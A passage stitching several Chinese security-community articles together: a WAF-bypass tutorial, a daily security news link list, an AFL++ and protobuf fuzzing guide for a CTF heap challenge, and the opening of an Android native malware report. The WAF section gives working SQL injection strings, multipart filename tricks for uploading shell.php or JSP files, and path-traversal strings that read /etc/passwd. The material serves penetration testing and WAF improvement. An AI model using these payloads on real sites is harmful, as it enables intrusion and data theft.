攻击机器与目标机器在同一局域网
## 1.3 利用边界漏洞
如果未能发现源站IP，可以尝试寻找子站的SSRF漏洞。如果子站访问目标站不经过WAF集群，可以利用SSRF漏洞来绕过WAF。
# 2\. 资源限制角度绕过WAF
这是众所周知、而又难以解决的问题。如果HTTP请求POST
BODY太大，检测所有的内容，WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面的几K字节、1M、或2M。对于攻击者而然，只需要在POST
BODY前面添加许多无用数据，把攻击payload放在最后即可绕过WAF检测。
# 3\. 协议层面绕过WAF的检测
即使流量都确保经过WAF，如果WAF的防御策略根本就没有检测payload，那么也就能绕过WAF。协议层面绕过WAF，利用WAF解析协议的问题，使得payload被认为不是请求的HTTP请求的内容。从个人经验总结出WAF解析协议的常出现问题的三个方向。
* 协议覆盖不全。
* 协议解析不正确。
* 协议解析与后WEB容器的协议解析不一致。
以下以实例说明利用协议绕过WAF的方法。通过CASE解析什么是协议覆盖不全、协议解析不正确、协议解析不一致。
## 3.1 协议未覆盖绕过WAF
POST 请求常用有2种参数提交方式：
* Content-Type: application/x-www-form-urlencoded;
* Content-Type: multipart/form-data;
Waf未能覆盖Content-Type: multipart/form-data从而导致被绕过。或者WAF会认为它是文件上传请求，从而只检测文件上传，导致被绕过。如图，加速乐的WAF就存在被绕过的情况，是典型的协议未覆盖。
普通攻击请求被拦截
协议未覆盖导致绕过
## 3.2 利用协议解析不一致绕过WAF的典型例子
以前发的文章《PHP
DOS漏洞的新利用》，就是利用协议解析不一致进行绕过WAF。如图中的payload，WAF解析出来上传的文件名是test3.jpg，而PHP解析得到的文件名是shell.php，从而绕过WAF的防御。当时这个方法几乎通杀所有WAF，可见利用协议层绕过WAF的威力，详情见：<[http://weibo.com/ttarticle/p/show?id=2309404002575157473609>。就文件上传而言，还有更多因为协议解析导致绕过，见3.3节。](http://weibo.com/ttarticle/p/show?id=2309404002575157473609>。就文件上传而言，还有更多因为协议解析导致绕过，见3.3节。)
WAF与PHP解析文件上传协议不一致导致绕过
## 3.3 利用协议解析问题绕过WAF文件上传
WAF的文件上传规则使用正则表达式匹配上传的文件名是否包含“0x00”等，所以正面绕过正则表达式匹配几乎不可能。如果不从规则角度考虑，利用协议解析问题让WAF无法匹配到正确的文件名，就能绕过WAF实现文件上传。
## 3.3.1 协议解析不正确-文件名覆盖(一)
在multipart协议中，一个文件上传块存在多个Content-Disposition，将以最后一个Content-Disposition的filename值作为上传的文件名。许多WAF解析到第一个Content-Disposition就认为协议解析完毕，获得上传的文件名，从而导致被绕过。如图，加速乐的WAF解析得到文件名是”sp.pho”，但PHP解析结果是”sp.php”，导致被绕过。
## 3.3.2 协议解析不正确-文件名覆盖（二）
在一个Content-Disposition 中，存在多个filename
，协议解析应该使用最后的filename值作为文件名。如果WAF解析到filename="p3.txt"认为解析到文件名，结束解析，将导致被绕过。因为后端容器解析到的文件名是t3.jsp。
Content-Disposition: form-data;name="myfile";
filename="p3.txt";filename="t3.jsp"
## 3.3.3 协议解析不正确-遗漏文件名
当WAF遇到“name=”myfile";;”时，认为没有解析到filename。而后端容器继续解析到的文件名是t3.jsp，导致WAF被绕过。
Content-Disposition: form-data;name="myfile";; filename="t3.jsp"。
## 3.3.4 协议解析不正确-未解析所有文件
multipart协议中，一个POST请求可以同时上传多个文件。如图，许多WAF只检查第一个上传文件，没有检查上传的所有文件，而实际后端容器会解析所有上传的文件名，攻击者只需把paylaod放在后面的文件PART，即可绕过。
## 3.3.5 协议解析不一致-文件名解析兼容性
multipart协议中，文件名的形式为“filename="abc.php"”。但是Tomcat、PHP等容器解析协议时会做一些兼容，能正确解析
”filename="abc.php”、”filename=abc.php”、
”filename='abc.php’”。而WAF只按照协议标准去解析，无法解析文件名，但是后端容器能正确获得文件名，从而导致被绕过。场景的绕过形式：
* Content-Disposition: form-data; name="file"; filename=abc.php
* Content-Disposition: form-data; name="file"; filename="abc.php
* Content-Disposition: form-data; name="file"; filename='abc.php’
## 3.4 参数污染
请求中包含2个参数名相同的参数typeid，第一个是正常参数的值正常，第二个参数才是payload。如果WAF解析参数使用第一个值，没检查第二个值，将导致绕过。这是很久很久的一个CASE，现在几乎没有WAF存在这个问题。
/forum.php？ typeid=644&typeid=if(now()%3dsysdate()%2csleep(19.844)%2c0)/
_'XOR(if(now()%3dsysdate()%2csleep(19.844)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(19.844)%2c0))OR%22_
/
## 3.5 小结
当想到利用协议解析绕过WAF检测时，并不敢确定效果，经过实践检验，协议解析绕过WAF的思路可行且有效。在研究利用协议绕过WAF时，需要大胆地猜测WAF解析协议时容易犯什么错误，科学地一点点验证。通过分析PHP、tomcat的协议解析源码，找出它们与HTTP标准协议的差异是发现绕过WAF的快速有效方法。
本节利用multipart/form-data协议解析过问题文件上传的思路，思路同样可用于绕过multipart/form-data协议POST
FROM表单提交参数的检测。
## 4\. 规则层面的绕过
对基于正则表达式的WAF，绕过WAF规则主要思考安全工程师写WAF规则时在想什么，容易忽略什么，推断一些可能绕过的方式，然后多次尝试进行验证。比起完整罗列绕过CASE，我更喜欢分析绕过思路。这次以最受关注的SQL注入、文件包含为例，分析一下绕过思路。
## 4.1. SQL注入绕过
绕过SQL注入规则主要利用WAF规则本身的问题、未考虑到SQL语法变形、及后端数据库SQL语句语法特性。不同的数据库虽然遵守SQL标准，但是通常会加入特有的语法。WAF的防御策略要兼顾各种数据库的特殊语法，容易遗漏，从而被利用绕过WAF。以下MySQL为例，分析绕过SQL注入的一些思路。
## 4.1.1 注释符绕过
/ _xxx_ /是注释，也可以充当空白符。因为 / **/可使得MySQL对sql语句(union/**
/select)词法解析成功。事实上许多WAF都考虑到/* _/可以作为空白分，但是waf检测 “/\_. _\_
/”很消耗性能，工程师会折中，可能在检测中间引入一些特殊字符，例如：/ _\w+_
/。或者，WAF可能只中间检查n个字符“/*.{,n}*/”。根据以上想法，可以逐步测试绕过方法：
* 先测试最基本的：union/**/select
* 再测试中间引入特殊字：union/ _aaaa%01bbs_ /select
* 最后测试注释长度：union/ _aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa_ /select
同理，对于/ _!xxx_ /，可以采取类似的思路绕过WAF。
## 4.1.2 空白符绕过
基于正则表达式的WAF，
SQL注入规则使用正则表达式的“\s”匹配空格，例如”select\s+union”。利用正则表达式的空白符与MySQL空白符的不同可绕过WAF规则。如何这些MySQL的特性？通过fuzz,每次更改正常SQL语句的某部分，替换为其他字符，判断语法是否正确，即可判断出来MySQL语法特性。当然，也可以通过分析MySQL词法来发现语法特性，从而找到绕过方法。
利用空白符进行绕过，测试WAF时尽可能减少其他原因的影响，例如”union select”被拦截，只需把中间空白符替换为”%250C”,
“%25A0”进行绕过测试。
* union%250Cselect
* union%25A0select
## 4.1.3 函数分隔符
对基于正则表达式的WAF，我们猜测安全工程师写WAF规则时，可能不知道函数名与左括号之间可以存在特殊字符，或者遗漏可以存在特殊字符。例如匹配函数”concat()”的规则写法，“concat(”或者”concat\s*(”，就没有考虑到一些特殊字符。相应的绕过方法，在特殊位置引入特殊的分隔符，逐个测试。这些特殊分隔符发现也是通过Fuzz出来的。
* concat%2520(
* concat/**/(
* concat%250c(
* concat%25a0(
举一反三，寻找类似的关键位置，Fuzz特殊字符，发现更多的绕过新方法。猜测工程师们写规则因为各种原因容易遗漏的点，进行绕过WAF检测。
## 4.1.4 浮点数词法解析
利用MySQL解析浮点数的特点，正则表达式无法匹配出单词union，但是MySQL词法解析成功解析出浮点数、sql关键字union。
* select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
* select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
* select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
## 4.1.5 利用error-based进行SQL注入
Error-based的SQL注入函数非常容易被忽略，导致WAF规则过滤不完整。随着对MySQL研究越来越深，被发现可用于error-based
SQL注入的函数越来越多，同时也给绕过WAF造就了更多机会。常见的函数：
* extractvalue(1, concat(0x5c,md5(3)));
* updatexml(1, concat(0x5d,md5(3)),1);
* GeometryCollection((select _from(select_ from(select@@version)f)x))
* polygon((select*from(select name_const(version(),1))x))
* linestring()
* multipoint()
* multilinestring()
* multipolygon()
利用Error-based的SQL注入函数进行绕过时，可以结合函数分隔符，或其他方法灵活运用。
## 4.1.6 Mysql特殊语法
最有效的发现手段，还是去读读MySQL词法分析源代码。和协议绕过类似，挖掘SQL标准与MySQL的词法分析差异是发现WAF
SQL注入绕过的有效手段。以下是MySQL语法的一个特写(ps:不是我发现的)：
select{x table_name}from{x information_schema.tables};
## 4.1.7 综合利用实例
以上都是SQL注入绕过中的技术点，在实际渗透测试中，需要灵活综合利用才能达到完整绕过，读取数据数据。以下给出完整绕过WAF
SQ注入检测的实例。如图，本例中综合多个绕过技术点，最终实现完整绕过实现读取数据。
* 利用浮点数词法解析，绕过union select 的检测。
* 同样，函数分隔符思想集和浮点数词法解析，绕过关键字from的检测。
* 最后空白分分割绕过INFORMATION_SCHEMA.TABLES的检查
## 4.2. 文件包含
文件包含分为相对路径、绝对路径文件包含。在相对路径文件包含中，最终根据Linux虚拟文件系统(vfs)的规则查找文件，通过分析vfs的文件路径解析规则，提取其中规则特点，用这些特点去绕过WAF。在绝对文件路径包含中，主要是根据攻击场景，WAF未过滤一些协议、未过滤某些特殊路径。
## 4.2.1 相对路径的绕过
写WAF文件包含规则时，如果检测单一的”../”，误报会非常多，所以WAF文件包含规则通常会检测连续的“../"。根据vfs解析路径的语法，解析到“//”文件路径不变，解析到“/./”文件路径依然。
通过避免连续的"../"，从而绕过WAF文件包含规则。Eg:
././..///./.././/../etc//passwd，它等价于../../../etc/passwd。如图，一个实际的绕过WAF文件包含的
CASE
## 4.2.2 绝对路径的绕过（一）
* WAF没有考虑到路径中插入“/./”、“//”对于vfs解析路径是等价的，导致可被绕过。例如 /etc/./passwd 与 /etc/passwd 是等价的。还可以通过组合“/./”、“//”进行绕过，eg. /etc///.//././/passwd。
* 对于绝对路径文件包含，WAF一般会拦截常见路径，而不会防御所有的绝对路径。因此，在渗透测试中，可以包含其他的路径下一些文件，例如/usr/local/nginx/conf/nginx.conf。
* 如果WAF只检测连续的../，检查开始路径为Linux的目录名，可以采用/wtt/../绕过WAF文件包含检测。 例如，“/wtt/../etc/passwd”， wtt不是Linux标准目录，不会被规则匹配。WAF只检测连续的../，但是只使用一个../，不被拦截。最终读取/etc/passwd文件。
## 4.2.2 绝对路径的绕过（二）
利用WAF未检测的协议。PHP 文件包含支持的协议，在渗透测试中，看环境选择可行的方法
* file:// — Accessing local filesystem
* http:// — Accessing HTTP(s) URLs
* ftp:// — Accessing FTP(s) URLs
* php:// — Accessing various I/O streams
* zlib:// — Compression Streams data:// — Data (RFC 2397)
* glob:// — Find pathnames matching pattern
* phar:// — PHP Archive
* ssh2:// — Secure Shell 2
* rar:// — RAR
* ogg:// — Audio streams
* expect:// — Process Interaction Streams
## 5\. 总结
一个好WAF不是吹出来的，是实践检验出来的。研究WAF的绕过手段，是为了更好的提升WAF的防御能力。在研究突破的过程中，不要仅仅停留在正则表达式，基本漏洞原理，需要对涉及并深入更多的领域，例如HTTP协议理解和PHP、Tomcat对HTTP协议源码分析，MySQL词法分析，和Fuzz的思路等。在此过程中，会有许多乐趣，也会有各方面能力的提升。 | 社区文章 |
# 【知识】8月9日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 高通加解密引擎提权漏洞解析、在IE、Edge浏览器中走私HTA文件、Hunting恶意npm包 、Nmap Cheat
Sheet、BoopSuite：基于Python的无线审计、安全测试套件、人工智能、机器学习在信息安全领域中的应用[FREE]、Windows漏洞利用技巧：从任意目录创建到任意文件读取
******
**
**
****
**国内热词(以下内容部分摘自** **<http://www.solidot.org/> )：**
比特币的日常交易功能正在丧失
**资讯类：**
Microsoft针对25个关键漏洞发布安全补丁
<http://thehackernews.com/2017/08/microsoft-security-patch.html>
**技术类：**
Windows漏洞利用技巧：从任意目录创建到任意文件读取
<https://googleprojectzero.blogspot.com/2017/08/windows-exploitation-tricks-arbitrary.html>
高通加解密引擎提权漏洞解析
<http://www.iceswordlab.com/2017/08/07/qualcomm-crypto-engine-vulnerabilities-exploits/>
在IE、Edge浏览器中走私HTA文件
<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/>
人工智能、机器学习在信息安全领域中的应用[FREE]
<http://defense.ballastsecurity.net/static/IntroductionToArtificialIntelligenceForSecurityProfessionals_Cylance.pdf>
Hunting恶意npm包
<https://duo.com/blog/hunting-malicious-npm-packages>
F-Secure Anti-Virus: Arbitrary Free Vulnerability via TNEF
<https://landave.io/2017/08/f-secure-anti-virus-arbitrary-free-vulnerability-via-tnef/>
Week of Evading Microsoft ATA – Day 2
<http://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day2.html>
CVE-2017-8620：Windows Search远程代码执行漏洞
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8620>
如何使用rsyslog监控对基础设施的攻击
<https://posts.specterops.io/attack-infrastructure-log-aggregation-and-monitoring-345e4173044e>
Nmap Cheat Sheet
<https://s3-us-west-2.amazonaws.com/stationx-public-download/nmap_cheet_sheet_0.6.pdf>
Creating Real Looking User Accounts in AD Lab
<https://www.darkoperator.com/blog/2016/7/30/creating-real-looking-user-accounts-in-ad-lab>
uEmu（IDA插件）：a tiny cute emulator plugin for IDA based on unicorn engine
<https://github.com/alexhude/uEmu>
Adobe Reader DC解析器混淆漏洞
<http://blog.talosintelligence.com/2017/08/adobe-reader-dc-parser.html>
Hooking COM Classes
<http://blogs.microsoft.co.il/pavely/2017/08/07/hooking-com-classes/>
Android银行木马滥用accessibility服务
<http://b0n1.blogspot.it/2017/08/android-banking-trojan-misuses.html>
Xssing Web With Unicodes
Part 1：<http://blog.rakeshmane.com/2016/11/xssing-web-part-1.html>
Part 2：<http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html>
Defeating the VB5 Packer
<https://r3mrum.wordpress.com/2017/06/07/defeating-the-vb5-packer/>
D-Link 850L多个漏洞
<https://blogs.securiteam.com/index.php/archives/3364>
MAC osx、iOS常见安全工具汇总
<https://github.com/ashishb/osx-and-ios-security-awesome>
BoopSuite：基于Python的无线审计、安全测试套件
<https://github.com/MisterBianco/BoopSuite> | 社区文章 |
# 用 protobuf & AFLplusplus 进行简易 CTF 自动化 fuzz
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、简介
看 [fuzz 的结构感知](https://github.com/google/fuzzing/blob/master/docs/structure-aware-fuzzing.md) 时遇到了 protobuf，觉得很有意思，于是尝试使用 protobuf 来进行快速简易的 CTF fuzz。
以下以 [TCTF2021-babyheap2021](https://ctftime.org/task/16415) 为例，来简单说明一下自动化步骤。
这里主要用到以下项目：
* [AFL++](https://github.com/AFLplusplus/AFLplusplus)，其中的 qemu mode + qasan
* [afl-libprotobuf-mutator](https://github.com/thebabush/afl-libprotobuf-mutator)
需要注意的是，该 fuzz 目前处于实验性版本，可能不太稳定，仅作为学习研究使用。
## 二、操作流程
### 1\. 下载依赖
git clone 下 AFL++ 和 afl-libprotobuf-mutator （链接在上面）即可。
### 2\. 配置 afl-libprotobuf-mutator
* 首先，用 ida64 打开 babyheap2021, F5阅读伪代码并总结其输入模板，最后用 protobuf 描述输入结构：
> 这类菜单题的输入模板大体上比较固定，下面的代码随便改改就能换一道题目用用。
代码编写完成后，覆盖保存至 `afl-libprotobuf-mutator/gen/out.proto`。注意 **路径必须完成一致** ，若遇到重名文件
out.proto 则直接替换。
> 如果不会写 protobuf 描述的话，可以看看这个 [Protocol Buffers
> Tutorials](https://developers.google.com/protocol-buffers/docs/tutorials)。
// out.proto
syntax = "proto2";
package menuctf;
message AllocChoice {
required int32 choice_id = 1 [default=1];
required int32 size = 2;
required string content = 3;
}
message UpdateChoice {
required int32 choice_id = 1 [default=2];
required int32 idx = 2;
required int32 size = 3;
required string content = 4;
}
message DeleteChoice {
required int32 choice_id = 1 [default=3];
required int32 idx = 2;
}
message ViewChoice {
required int32 choice_id = 1 [default=4];
required int32 idx = 2;
}
message ExitChoice {
required int32 choice_id = 1 [default=5];
}
// Our address book file is just one of these.
message ChoiceList {
message Choice {
oneof the_choice{
AllocChoice alloc_choice = 1;
UpdateChoice update_choice = 2;
DeleteChoice delete_choice = 3;
ViewChoice view_choice = 4;
ExitChoice exit_choice = 5;
}
}
repeated Choice choice = 1;
}
* 到了这里，我们需要理一理思路。对于CTF题来说，大多都是直接从 stdin 中获取输入的 **文本数据** 。因此首先，我们需要编写 `Protobuf::Message` 转 **常规输入字符串** 的代码：
void ProtoToDataHelper(std::stringstream &out, const google::protobuf::Message &msg) {
const google::protobuf::Descriptor *desc = msg.GetDescriptor();
const google::protobuf::Reflection *refl = msg.GetReflection();
const unsigned fields = desc->field_count();
// std::cout << msg.DebugString() << std::endl;
for (unsigned i = 0; i < fields; ++i) {
const google::protobuf::FieldDescriptor *field = desc->field(i);
// 对于单个 choice
if (field->cpp_type() == google::protobuf::FieldDescriptor::CPPTYPE_MESSAGE) {
// 如果当前是 choice list
if (field->is_repeated()) {
const google::protobuf::RepeatedFieldRef<google::protobuf::Message> &ptr = refl->GetRepeatedFieldRef<google::protobuf::Message>(msg, field);
// 将每个 choice 打出来
for (const auto &child : ptr) {
ProtoToDataHelper(out, child);
out << "\n";
}
// 如果当前是某个子 choice
} else if (refl->HasField(msg, field)) {
const google::protobuf::Message &child = refl->GetMessage(msg, field);
ProtoToDataHelper(out, child);
}
}
// 对于单个 field
else if (field->cpp_type() == google::protobuf::FieldDescriptor::CPPTYPE_INT32) {
out << refl->GetInt32(msg, field);
if(i < fields - 1)
out << " ";
}
else if (field->cpp_type() == google::protobuf::FieldDescriptor::CPPTYPE_STRING) {
out << refl->GetString(msg, field);
if(i < fields - 1)
out << " ";
}
else {
abort();
}
}
}
* 之后，参照 AFL++ 的 [Custom Mutators in AFL++](https://github.com/AFLplusplus/AFLplusplus/blob/dev/docs/custom_mutators.md)，完成一些必要的 custom mutate 函数。这里我们需要完成以下几种函数：
* `void *afl_custom_init(void *afl, unsigned int seed)`：在执行 custom mutate 前需要执行的初始化操作，这里只需初始化一下随机种子。
* `size_t afl_custom_fuzz(void *data, unsigned char *buf, size_t buf_size, unsigned char **out_buf, unsigned char *add_buf, size_t add_buf_size, size_t max_size)` ：变异逻辑，在该代码中编写自己的变异逻辑。
* `size_t afl_custom_post_process(void* data, uint8_t *buf, size_t buf_size, uint8_t **out_buf)`：将 protobuf::Message 格式的二进制数据转换成 target 可读的数据。
* `void afl_custom_deinit(void *data)`：变异完成后需要做的事情，目前没有什么事情需要在这里进行处理。
* `int32_t afl_custom_init_trim(void *data, uint8_t *buf, size_t buf_size)`：自定义 trim 逻辑的初始化。为了 **防止 trim 逻辑破坏 protobuf::Message 的二进制数据** ，影响正常的 Parse 过程，这里可以让该函数直接返回0，跳过每次的 trim 阶段。
* `size_t afl_custom_trim(void *data, uint8_t **out_buf)`：自定义 trim 逻辑。由于`afl_custom_init_trim`函数返回0，因此实际上该函数不会被调用，但我们仍然必须声明该函数以启用自定义 trim 逻辑。
> 需要注意的是，这一整个 `extern "C"` 的代码以及内部用到的 `ProtoToDataHelper` 函数的代码，必须全部放在 `afl-> libprotobuf-mutator/src/mutate.cc` 中。
>
> 由于 afl-libprotobuf-mutator 较为久远，因此大部分 AFL++ 相关的接口需要修改亿下。
// AFLPlusPlus interface
extern "C" {
static std::default_random_engine engine_pro;
static std::uniform_int_distribution<unsigned int> dis(0, UINT32_MAX);
void *afl_custom_init(void *afl, unsigned int seed) {
#pragma unused (afl)
engine_pro.seed(seed);
return nullptr;
}
void afl_custom_deinit(void *data) {
assert(!data);
}
// afl_custom_fuzz
size_t afl_custom_fuzz(void *data, unsigned char *buf, size_t buf_size, unsigned char **out_buf,
unsigned char *add_buf, size_t add_buf_size, size_t max_size) {
#pragma unused (data)
#pragma unused (add_buf)
#pragma unused (add_buf_size)
static uint8_t *saved_buf = nullptr;
assert(buf_size <= max_size);
uint8_t *new_buf = (uint8_t *) realloc((void *)saved_buf, max_size);
if (!new_buf) {
*out_buf = buf;
return buf_size;
}
saved_buf = new_buf;
memcpy(new_buf, buf, buf_size);
size_t new_size = LLVMFuzzerCustomMutator(
new_buf,
buf_size,
max_size,
dis(engine_pro)
);
*out_buf = new_buf;
return new_size;
}
size_t afl_custom_post_process(void* data, uint8_t *buf, size_t buf_size, uint8_t **out_buf) {
#pragma unused (data)
// new_data is never free'd by pre_save_handler
// I prefer a slow but clearer implementation for now
static uint8_t *saved_buf = NULL;
menuctf::ChoiceList msg;
std::stringstream stream;
// 如果加载成功
if (protobuf_mutator::libfuzzer::LoadProtoInput(true, buf, buf_size, &msg)) {
ProtoToDataHelper(stream, msg);
}
else {
// printf("[afl_custom_post_process] LoadProtoInput Error\n");
// std::ofstream err_bin("err.bin");
// err_bin.write((char*)buf, buf_size);
// abort();
// 如果加载失败，则返回 Exit Choice
/// NOTE: 错误的变异 + 错误的 trim 将会导致 post process 加载失败，尤其是 trim 逻辑。
/// TODO: 由于默认的 trim 会破坏样例，因此需要手动实现一个 trim，这里实现了一个空 trim，不进行任何操作
ProtoToDataHelper(stream, menuctf::ExitChoice());
}
const std::string str = stream.str();
uint8_t *new_buf = (uint8_t *) realloc((void *)saved_buf, str.size());
if (!new_buf) {
*out_buf = buf;
return buf_size;
}
*out_buf = saved_buf = new_buf;
memcpy((void *)new_buf, str.c_str(), str.size());
return str.size();
}
int32_t afl_custom_init_trim(void *data, uint8_t *buf, size_t buf_size) {
/// NOTE: disable trim
return 0;
}
size_t afl_custom_trim(void *data, uint8_t **out_buf) {
/// NOTE: unreachable
return 0;
}
}
* 当然，编写上面的代码需要做一次又一次的测试，这里放上笔者的测试代码片段。这部分测试代码位于 `afl-libprotobuf-mutator/src/dump.cc`。
inline std::string slurp(const std::string& path) {
std::ostringstream buf;
std::ifstream input (path.c_str());
buf << input.rdbuf();
return buf.str();
}
extern "C" {
void *afl_custom_init(void *afl, unsigned int seed);
size_t afl_custom_fuzz(void *data, unsigned char *buf, size_t buf_size, unsigned char **out_buf,
unsigned char *add_buf, size_t add_buf_size, size_t max_size);
size_t afl_custom_post_process(void* data, uint8_t *buf, size_t buf_size, uint8_t **out_buf);
void afl_custom_deinit(void *data);
}
int main(int argc, char *argv[]) {
menuctf::ChoiceList msg;
if (argc == 2) {
std::string data = slurp(argv[1]);
if(!protobuf_mutator::libfuzzer::LoadProtoInput(true, (const uint8_t *)data.c_str(), data.size(), &msg)) {
printf("[afl_custom_post_process] LoadProtoInput Error\n");
abort();
}
// 测试变异逻辑
void* init_data = afl_custom_init(nullptr, time(NULL));
for(int i = 0; i < 30; i++) {
uint8_t *out_buf = nullptr;
size_t new_size = afl_custom_fuzz(init_data, (uint8_t*)data.c_str(), data.size(),
&out_buf, nullptr, 0, data.size() + 100);
uint8_t *new_str = nullptr;
size_t new_str_size = afl_custom_post_process(init_data, out_buf, new_size, &new_str);
std::string new_str_str((char*)new_str, new_str_size);
std::cout << i << ": " << new_str_str << std::endl;
}
afl_custom_deinit(init_data);
} else {
// alloc 12 "[menuctf::AllocChoice]"
{
auto choice = new menuctf::AllocChoice();
choice->set_size(12);
choice->set_content("[menuctf::AllocChoice]");
msg.add_choice()->set_allocated_alloc_choice(choice);
}
// update 2 20 "[menuctf::UpdateChoice]"
{
auto choice = new menuctf::UpdateChoice();
choice->set_idx(2);
choice->set_size(20);
choice->set_content("[menuctf::UpdateChoice]");
msg.add_choice()->set_allocated_update_choice(choice);
}
// DeleteChoice 3
{
auto choice = new menuctf::DeleteChoice();
choice->set_idx(3);
msg.add_choice()->set_allocated_delete_choice(choice);
}
// ViewChoice 4
{
auto choice = new menuctf::ViewChoice();
choice->set_idx(4);
msg.add_choice()->set_allocated_view_choice(choice);
}
// ExitChoice
{
auto choice = new menuctf::ExitChoice();
msg.add_choice()->set_allocated_exit_choice(choice);
}
std::ofstream output_file("output.bin", std::ios::binary);
// 这里保存的 Serialize 必须使用 Partial 保存，
msg.SerializePartialToOstream(&output_file);
output_file.close();
}
// std::cout << "msg DebugString: " << msg.DebugString() << std::endl;
std::stringstream stream;
ProtoToDataHelper(stream, msg);
std::cout << stream.str() << std::endl;
return 0;
}
* 接下来只需在 `afl-libprotobuf-mutator` 文件夹下执行 `./build.sh && make`即可，完成后，在当前工作路径下将会生成 `dumper`、`libmutator.so`以及`mutator`三个文件。我们可以利用 dumper 对上面的代码进行测试，libmutator.so 用于 afl++ 中的自定义变异。
### 3\. 配置 AFL++
现在压力来到了 AFL++ 这里（笑），我们先试试看能不能马上跑起来。
尝试执行以下命令来构建 AFL++：
# 构建 AFLplusplus
# 1. 安装依赖项
sudo apt-get update
sudo apt-get install -y ninja-build build-essential python3-dev automake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools
# try to install llvm 11 and install the distro default if that fails
sudo apt-get install -y lld-11 llvm-11 llvm-11-dev clang-11 || sudo apt-get install -y lld llvm llvm-dev clang
sudo apt-get install -y gcc-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-plugin-dev libstdc++-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-dev
# 2. 开始构建
cd AFLplusplus
make distrib # 这一步要等一段时间
# sudo make install # 将 AFL++ 安装至本机
# 如果不需要了可以使用 sudo make uninstall 卸载
### 4\. 运行
执行以下命令运行 AFL++：
# AFL++ 构建完成后，进入 workdir 配置语料
mkdir workdir
[配置语料等等...]
# 设置相关环境变量
export AFL_CUSTOM_MUTATOR_ONLY=1 # 禁用除自定义 mutator 以外的其他自带 mutator
export AFL_CUSTOM_MUTATOR_LIBRARY=../afl-libprotobuf-mutator/libmutator.so # 指定自定义路径
export AFL_USE_QASAN=1 # 启用 QASAN
# 运行 AFL++
AFLplusplus/afl-fuzz -i workdir/fuzz_input -o workdir/fuzz_output -Q -- ./babyheap
别忘记在 workdir 中放点输入语料，语料可以通过 `afl-libprotobuf-mutator/dumper` 来随便生成一点。
运行时如果遇到 `afl-quemu-trace`
不存在，则单独执行`AFLplusplus/qemu_mode/build_qemu_support.sh` 构建即可。
## 三、源代码
相关源代码以及构建方式已开源至 [github](https://github.com/Kiprey/protobuf_ctf_fuzz) 上。
重申一下，该 fuzz 目前处于实验性版本，可能有亿点点不太稳定（笑）。
## 四、可改进的地方
1. libprotobuf-mutator 的变异效果一般，最好手动改进一下
2. 需要实现一下 trim 逻辑，空的 trim 逻辑可能会产生 **样例爆炸**
## 五、一些需要注意的点
如果在运行 AFL++ 后，发现 fuzz 始终无法发现新路径，即路径始终只有一个，那么就必须考虑 **目标CTF文件是否可执行** 。以当前的
babyheap2021 为例，笔者在测试时初始 AFL++ 状态如下：
尝试直接执行 babyheap，发现 `Permission Denied`无法执行。但即便赋以 excutable 权限，仍然无法执行，报错 `no
such file or directory`：
这一看，要么是架构问题，要么是 libc.so / ld.so 的问题。因此执行以下命令以更新 babyheap 所使用的 libc.so &
ld.so，之后便可以正常执行。
patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 ./babyheap
patchelf --replace-needed libc.so libc.so.6 ./babyheap
跑起来效果，还行？（不是很懂.jpg） | 社区文章 |
# 2019年Q1 Android Native病毒疫情报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 综述
2019年Q1季度，360安全大脑累计监测到Android
Native病毒感染量达354.8万，平均每天新增感染用户3.9万。已曝光的病毒依然活跃，Notify病毒家族来势汹汹，“假面兽”病毒更是拉开了64位Android
Native病毒蔓延的序幕，安全威胁依然不容忽视。
360安全大脑发现Q1季度Android
Native病毒疫情呈现出两大趋势：一是，静态感染技术泛滥，多个病毒均使用了该技术，隐蔽性更强，极大增加了查杀难度；另一个需要特别关注的是，多个已曝光的病毒开始升级64位，预示未来可能是64位Android
Native病毒的高发期。
报告主要从病毒态势、热点病毒事件、趋势及安全建议三个方面阐述了2019年Q1 季度Android Native病毒疫情及未来趋势。具体如下：
## 病毒态势
本季度的病毒家族主要以“长老木马”、“寄生灵”、Notify病毒为主，感染量前四的病毒家族如下：
1. “长老木马”家族从2015年发现至今依旧活跃，占比32.3%。该病毒变种极多，最新的变种使用了静态感染技术，通过感染系统运行依赖的库文件，并借助样本MD5自变化、文件路径随机化等手段极大提高了查杀难度。
2. “寄生灵”家族持续高度活跃，占比31.4%，其主要通过广告SDK等方式进行传播，一旦感染，该病毒会立即下载提权文件以获取手机ROOT权限，频繁推送广告，私自发送恶意扣费短信，并注入大量恶意文件到系统底层，防止病毒被卸载。
3. Notify家族近期异常活跃，占比10.5%。该病毒将自身设置为隐藏文件，通过感染libandroid_servers.so系统库文件，注入系统Phone进程，以实现恶意推广等功能。
4. “百脑虫”家族逐渐进入衰减期，但占比仍接近7%。该病毒通过云端加载恶意代码，注入Zygote进程并修改framework，将扣费病毒模块注入到所有APP应用中，等待时机进行恶意扣费。
2019年Q1季度 Android
Native病毒详细占比情况如下图所示。“长老木马”、“寄生灵”两大家族包揽前两名，二者总占比甚至超过了本季度Android
Native病毒感染量的60%，并且两大家族都在持续更新。
感染量方面，1月的感染量最大，感染量高达126.5万；2月相比1月，感染量减少0.8万，差值较小；3月相比2月，感染量下降较为显著，降比达18.4%，Q1季度的病毒感染量总体上呈下降趋势，具体如下图所示。
## 热点事件
### 新型Android间谍平台
近期，国外Security Without
Borders安全研究团队披露了新的Android间谍软件平台Exodus，360安全大脑对该报告中涉及的Android
Native病毒进行了跟踪分析，及时支持对该病毒的专项查杀。
